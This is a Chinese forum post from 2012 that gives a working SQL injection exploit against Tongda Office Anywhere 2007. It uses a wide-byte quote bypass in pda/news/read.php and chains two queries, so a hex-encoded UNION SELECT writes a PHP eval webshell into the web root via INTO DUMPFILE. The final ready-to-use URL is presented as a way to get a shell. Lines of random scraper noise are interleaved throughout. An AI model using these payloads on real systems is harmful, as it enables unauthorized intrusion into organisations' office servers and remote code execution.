目前测试通达OA2007版本' P0 _( R0 D* i7 T, {' |
$ S, x4 X" v7 L6 x4 K
0 T' {0 e4 n' cOffice Anywhere 2007 网络智能办公系统
L- G8 _! a# n) ]
7 t/ A9 P9 X$ n1 A( t- Rhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
# Q; A3 V2 z. K. c ], x$ s 9 T7 ^ T" u# i# @4 I) k
0 Z! M; R4 }' j3 A5 u1 k7 A+ p/ G这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
' [ A1 ]8 R; [& D/ F . r2 |5 A" R( `6 V( R
例如：SELECT * from USER where USER_ID='{$USERNAME}' 6 P2 u4 Q/ }3 a" t, P M# ~5 {
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了% c. D- k, b" |
3 w4 b R! T2 D f2 E; _这个时候我们是不是可以组合起来使用哪？
% @0 f/ D Y" d3 I1 {7 U 8 s% ~0 U% a3 I' r: P& m
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
, V4 L" D3 J5 Kunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
4 B1 e# t+ n! y 7 u# C j V Z4 W
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了: w2 ~1 R! U6 L& }! U! }. m: m2 V2 x
/ Y3 h( W9 K& o; o; }
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
}) W& U# g; X8 N4 o( S- a # ~7 i+ a( ]* }. z( R3 H0 h
那么我们用字符串格式带入进行hex编码
% l% V" ]: N( ^4 p, r: Y. a/ h 1 a [9 I$ Q6 ]% m$ e: i% U9 c* N
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
. R6 O# @ i. H+ s7 I - B4 g0 L- F4 z
测试ok，获取oa的webshell
, R% T& O( B. { m! ?. N 1 q+ m1 U$ c3 E: R8 q7 n* H5 r/ z* Z
5 D* w: B, `7 I* }" ^' F' t, d
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23" W0 s5 h# |, z- [5 v
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对